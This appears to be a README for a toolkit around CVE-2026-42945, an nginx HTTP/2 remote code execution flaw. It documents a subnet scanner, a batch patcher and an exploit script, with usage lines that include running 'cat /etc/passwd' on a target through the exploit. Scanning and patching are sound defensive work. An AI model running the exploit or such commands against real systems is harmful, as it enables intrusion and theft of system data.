CVE-2026-42945 Nginx Rift Vulnerability Toolkit

Comprehensive toolkit for scanning, patching, and testing CVE-2026-42945 - a critical RCE vulnerability in nginx

Table of Contents

• Overview
• CVE Details
• Features
• Toolkit Components
• Requirements
• Installation
• Usage
• Workflow Examples
• Security Considerations
• Troubleshooting
• Contributing

Overview

This toolkit provides comprehensive tools for scanning, patching, and testing CVE-2026-42945, a critical Remote Code Execution vulnerability in nginx that affects versions prior to 1.26.3 (mainline) and 1.24.1 (stable).

The vulnerability exploits malformed HTTP/2 header parsing when ASLR is disabled using heap spray techniques.

CVE Details

Property	Value
Vulnerability ID	CVE-2026-42945
Type	Remote Code Execution (RCE)
CVSS Score	9.8 (Critical)
Affected Versions	< 1.26.3 (mainline) / < 1.24.1 (stable)
Fixed Version	1.26.3+
Attack Vector	Malformed HTTP/2 header parsing
Prerequisite	ASLR disabled on target system

Features

• Network Scanning - CIDR subnet scanning with concurrent host discovery
• Version Detection - Multi-distro nginx version identification via SSH
• Automated Patching - Batch patch vulnerable instances across networks
• Exploitation Testing - Verify vulnerability with heap spray techniques
• Report Generation - HTML and JSON format reports
• Dry-Run Mode - Preview changes before applying
• Multi-Authentication - SSH key and password-based authentication
• Audit Logging - Detailed timestamped operation logs

Toolkit Components

1. nginx_scanner.py - Vulnerability Scanner

Scans a subnet or single host to identify vulnerable nginx installations.

Features:

• CIDR subnet scanning support
• Concurrent host discovery and version detection
• SSH-based remote version checking
• Multi-distro support (Ubuntu, Debian, CentOS, AlmaLinux, RHEL)
• HTML and JSON report generation
• Customizable SSH ports and authentication methods

2. nginx_patcher.py - Patch Automation

Automatically patches vulnerable nginx instances to the latest secure version.

Features:

• Batch patching across subnet ranges
• Distro-specific patch commands
• Dry-run mode for safety validation
• Target version specification
• Detailed patch execution logs
• Progress tracking and reporting

3. exploit.py - Remote Code Execution Exploit

Tests the CVE-2026-42945 vulnerability via heap spray technique.

Features:

• Targets nginx instances with ASLR disabled
• Heap spray buffer overflow exploitation
• Multiple offset support for reliability
• Remote command execution capability
• Connection timeout and retry mechanisms
• Detailed execution statistics

Supported Distributions

• Ubuntu (all versions with nginx)
• Debian (all versions with nginx)
• CentOS 7+
• AlmaLinux
• RHEL (Red Hat Enterprise Linux)

Requirements

• Python: 3.7 or higher
• OS: Linux/Unix environment

Dependencies

paramiko (>= 3.0.0) - SSH client library
rich (>= 13.0.0) - Terminal formatting and progress bars

Installation

Step 1: Clone or Download

git clone https://github.com/gagaltotal/CVE-2026-42945-NGINX-Rift-Toolkit
cd CVE-2026-42945-NGINX-Rift-Toolkit

Step 2: Create Virtual Environment

python3 -m venv .venv
source .venv/bin/activate

Step 3: Install Dependencies

pip install -r requirements.txt

Usage

Scanner (nginx_scanner.py)

Basic Subnet Scan

python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa

Single Host Scan

python3 nginx_scanner.py --subnet 192.168.1.10 --user root --key ~/.ssh/id_rsa

Password-based Authentication

python3 nginx_scanner.py --subnet 10.0.0.0/30 --user admin --password "password"

Custom SSH Port

python3 nginx_scanner.py --subnet 192.168.1.0/24 --port 2222 --user root --key ~/.ssh/id_rsa

Generate HTML Report

python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --output report.html

Scanner Options

--subnet SUBNET              Target subnet in CIDR format (required)
--user USER                  SSH username (default: root)
--password PASSWORD          SSH password
--key KEY_PATH              Path to SSH private key
--port PORT                 SSH port (default: 22)
--timeout TIMEOUT           Connection timeout in seconds (default: 5)
--output FILE               Output report file (HTML/JSON)
--workers WORKERS           Number of concurrent threads (default: 20)

Patcher (nginx_patcher.py)

Basic Patching

python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa

Dry-Run (Preview without Applying)

python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --dry-run

Target Specific Version

python3 nginx_patcher.py --subnet 192.168.1.0/24 --target-version 1.26.3 --user root --key ~/.ssh/id_rsa

Custom SSH Port

python3 nginx_patcher.py --subnet 10.0.0.0/30 --port 2222 --user admin --password "password"

Patcher Options

--subnet SUBNET              Target subnet in CIDR format (required)
--user USER                  SSH username (default: root)
--password PASSWORD          SSH password
--key KEY_PATH              Path to SSH private key
--port PORT                 SSH port (default: 22)
--timeout TIMEOUT           Connection timeout in seconds (default: 30)
--target-version VERSION    Nginx version to patch to (default: latest)
--dry-run                   Show what would be patched without executing
--workers WORKERS           Number of concurrent threads (default: 10)

Exploit (exploit.py)

Exploit Single Target

python3 exploit.py --target 192.168.1.100 --port 80

With Custom Payload

python3 exploit.py --target 192.168.1.100 --port 80 --command "cat /etc/passwd"

Multiple Spray Attempts

python3 exploit.py --target 192.168.1.100 --port 80 --spray 50

Detailed Output

python3 exploit.py --target 192.168.1.100 --port 80 --verbose

Exploit Options

--target HOST               Target host IP or domain (required)
--port PORT                 Target port (default: 80)
--command CMD               Command to execute
--spray NUM                 Number of heap spray attempts (default: 20)
--timeout TIMEOUT           Connection timeout in seconds (default: 5)
--tries NUM                 Number of exploitation attempts (default: 10)
--verbose                   Enable verbose output

Workflow Examples

Scenario 1: Complete Security Assessment

# Step 1: Scan network for vulnerable instances
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user admin --key ~/.ssh/key --output scan_results.html

# Step 2: Review scan results in scan_results.html